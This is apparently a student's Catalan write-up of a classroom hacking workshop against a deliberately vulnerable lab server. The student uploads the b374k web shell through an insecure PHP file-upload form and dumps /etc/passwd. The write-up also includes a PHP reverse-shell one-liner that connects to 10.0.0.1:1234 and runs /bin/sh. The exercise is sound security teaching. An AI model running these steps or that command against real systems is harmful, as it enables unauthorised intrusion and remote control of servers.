

WORKSHOP: Tens a l'aula una màquina virtual en funcionament amb la IP 192.168.1.49 amb un servidor Apache, MySQL no segur i el PHP instal·lats. La web que conté (<http://192.168.1.49/workshop1/>) és simplement un petit formulari que et permet pujar fitxers jpg, jpeg, png i php. Aquest servidor simula una vulnerabilitat pel fet de deixar-te pujar fitxers php. Com a màquina atacant pots utilitzar una Kali Linux. Descarrega't la web shell b374k, puja-la a la màquina vulnerable (amb el nom canviat: elteunom.php), connecta-t'hi i contesta:

1. Quins usuaris hi ha donats d'alta en aquesta màquina (/etc/passwd)?

The screenshot shows a web browser window with the address bar displaying `192.168.1.49/workshop1/images/b374k_Pol_M.php?`. The browser's address bar also shows the file `b374k 2.8` has been uploaded. Below the browser window, a table displays the details of the uploaded file:

Filename	/etc/passwd
Size	1.94 KB (1984)
Permission	-rw-r--r--
Owner	root:root
Create time	17-Feb-2022 18:03:07
Last modified	17-Feb-2022 18:03:07
Last accessed	03-Nov-2023 18:03:32
Actions	edit hex ren del dl
View	text code image audio video

Below the table, the content of the uploaded file is displayed as a list of system users:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/:nonexistent:/usr/sbin/nologin
syslog:x:104:110:/:home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/:nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,:/var/lib/tpm:/bin/false
uuidd:x:107:112:/:run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113:/:nonexistent:/usr/sbin/nologin
landscape:x:109:115:/:var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:/:var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534:/:run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:usr/sbin/nologin
montilivi:x:1000:1000:montilivi:/home/montilivi:/bin/bash
lxd:x:998:100:/:var/snap/lxd/common/lxd:/bin/false
```

```

tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
montilivi:x:1000:1000:montilivi:/home/montilivi:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
bind:x:114:119::/var/cache/bind:/usr/sbin/nologin
ossec:x:115:120::/var/ossec:/sbin/nologin

```

2. Fes una reverse shell cap a la teva màquina i mostra una captura de pantalla amb el resultat de la comanda `ls -l` de la carpeta `/var/www/html/workshop1/images` des del terminal de la teva Kali Linux.

```

sudo: a terminal is required to read the password; either use the -S option
$ ls -l /var/www/html/workshop1/images
total 2364
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:24 Adil.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:37 AleixPoch.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:39 Genis_Plans.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:50 JordiPadrosa.php
-rw-r--r-- 1 www-data www-data  99519 Nov  3 18:50 MMiquel.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:44 albertmarquez.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:30 b374k_Aleix_Poch.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:32 b374k_Pol_M.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:36 berny.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:26 guillem.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:50 joanportas.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:41 marti.php
-rw-r--r-- 1 www-data www-data    30 Nov  3 18:46 mbelda.php
-rw-r--r-- 1 www-data www-data 189881 Nov  3 18:31 oriol.php
-rw-r--r-- 1 www-data www-data    30 Nov  3 18:41 prova.php
$

```

El reverse shell que he utilitat és aquest: `php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`

L'he trobat buscant reverse shell php a google.